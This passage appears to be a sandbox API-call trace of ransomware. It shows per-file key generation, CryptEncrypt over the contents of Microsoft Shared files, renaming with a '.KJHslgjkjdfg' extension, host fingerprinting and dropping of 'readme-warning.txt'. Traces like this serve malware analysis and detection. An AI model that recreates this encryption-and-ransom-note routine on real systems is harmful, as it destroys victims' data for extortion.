lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0171.092] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0171.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0171.093] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0171.093] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0171.093] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.093] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x46b70, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x46b70, lpOverlapped=0x0) returned 1 [0171.097] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x46b70, dwBufLen=0x46b70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x46b70) returned 1 [0171.100] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.101] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x46b70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x46b70, lpOverlapped=0x0) returned 1 [0171.101] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x46c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.101] SetEndOfFile (hFile=0xf0) returned 1 [0171.103] GetProcessHeap () returned 0x990000 [0171.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.103] GetProcessHeap () returned 0x990000 [0171.103] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.kjhslgjkjdfg")) returned 1 [0171.104] CloseHandle (hObject=0xf0) returned 1 [0171.112] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0171.112] GetProcessHeap () returned 0x990000 [0171.112] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.112] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0171.112] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0171.112] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.112] GetProcessHeap () returned 0x990000 [0171.112] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0171.112] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0171.112] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0171.112] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.112] GetProcessHeap () returned 0x990000 [0171.112] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0171.112] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0171.113] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29df0a8 | out: pbData=0x9f99f0, pdwDataLen=0x29df0a8) returned 1 [0171.113] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.113] GetProcessHeap () returned 0x990000 [0171.113] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0171.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0171.113] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0171.113] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.113] GetProcessHeap () returned 0x990000 [0171.113] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0171.113] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dec88 | out: pbData=0x9b18c8, pdwDataLen=0x29dec88) returned 1 [0171.113] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.113] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0xf0) returned 0x0 [0171.113] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0171.113] RegCloseKey (hKey=0xf0) returned 0x0 [0171.113] GetProcessHeap () returned 0x990000 [0171.113] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0171.114] GetProcessHeap () returned 0x990000 [0171.114] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.114] GetProcessHeap () returned 0x990000 [0171.114] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0171.114] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0171.114] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea5c | out: pbData=0x9b18c8, pdwDataLen=0x29dea5c) returned 1 [0171.114] CryptDestroyKey (hKey=0x9b6628) returned 1 [0171.114] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.114] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.114] GetProcessHeap () returned 0x990000 [0171.114] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0171.114] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.114] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.114] GetProcessHeap () returned 0x990000 [0171.114] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0171.114] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\readme-warning.txt") returned 74 [0171.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0171.115] WriteFile (in: hFile=0xf0, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0171.116] CloseHandle (hObject=0xf0) returned 1 [0171.117] GetProcessHeap () returned 0x990000 [0171.117] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f99f0 | out: hHeap=0x990000) returned 1 [0171.117] GetProcessHeap () returned 0x990000 [0171.117] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0171.117] GetProcessHeap () returned 0x990000 [0171.117] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0171.117] GetProcessHeap () returned 0x990000 [0171.117] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.117] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0171.117] GetProcessHeap () returned 0x990000 [0171.117] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9f9760 | out: hHeap=0x990000) returned 1 [0171.117] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0171.117] GetProcessHeap () returned 0x990000 [0171.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x80) returned 0x9b2468 [0171.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0171.120] GetProcessHeap () returned 0x990000 [0171.120] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0171.120] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.120] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0171.120] GetProcessHeap () returned 0x990000 [0171.121] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x282) returned 0x9f9760 [0171.121] GetProcessHeap () returned 0x990000 [0171.121] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b2468 [0171.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0171.121] GetProcessHeap () returned 0x990000 [0171.121] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0171.121] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.121] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0171.121] GetProcessHeap () returned 0x990000 [0171.121] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9f99f0 [0171.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0171.123] GetProcessHeap () returned 0x990000 [0171.123] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.123] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.123] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.123] WriteFile (in: hFile=0x118, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x2, lpOverlapped=0x0) returned 1 [0171.125] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.125] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.125] GetProcessHeap () returned 0x990000 [0171.125] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.125] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.125] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.125] WriteFile (in: hFile=0x118, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.125] WriteFile (in: hFile=0x118, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.125] WriteFile (in: hFile=0x118, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.125] WriteFile (in: hFile=0x118, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.125] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.125] WriteFile (in: hFile=0x118, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.126] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.126] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.126] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.126] ReadFile (in: hFile=0x118, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe58e, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xe58e, lpOverlapped=0x0) returned 1 [0171.127] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe590, dwBufLen=0xe590 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xe590) returned 1 [0171.128] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.128] WriteFile (in: hFile=0x118, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xe590, lpOverlapped=0x0) returned 1 [0171.128] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.128] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xe664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.128] SetEndOfFile (hFile=0x118) returned 1 [0171.131] GetProcessHeap () returned 0x990000 [0171.131] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0171.131] GetProcessHeap () returned 0x990000 [0171.131] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0171.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.kjhslgjkjdfg")) returned 1 [0171.136] CloseHandle (hObject=0x118) returned 1 [0171.136] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0171.136] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0171.136] GetProcessHeap () returned 0x990000 [0171.136] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0171.136] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0171.137] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0171.137] WriteFile (in: hFile=0x118, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0171.138] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.138] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.138] GetProcessHeap () returned 0x990000 [0171.138] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0171.138] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0171.138] CryptDestroyKey (hKey=0x9b6668) returned 1 [0171.138] WriteFile (in: hFile=0x118, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0171.138] WriteFile (in: hFile=0x118, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0171.139] WriteFile (in: hFile=0x118, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0171.139] WriteFile (in: hFile=0x118, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0171.139] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0171.139] WriteFile (in: hFile=0x118, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0171.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0171.139] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0171.139] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.139] ReadFile (in: hFile=0x118, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x22b, lpOverlapped=0x0) returned 1 [0171.139] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230, dwBufLen=0x230 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x230) returned 1 [0171.139] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.139] 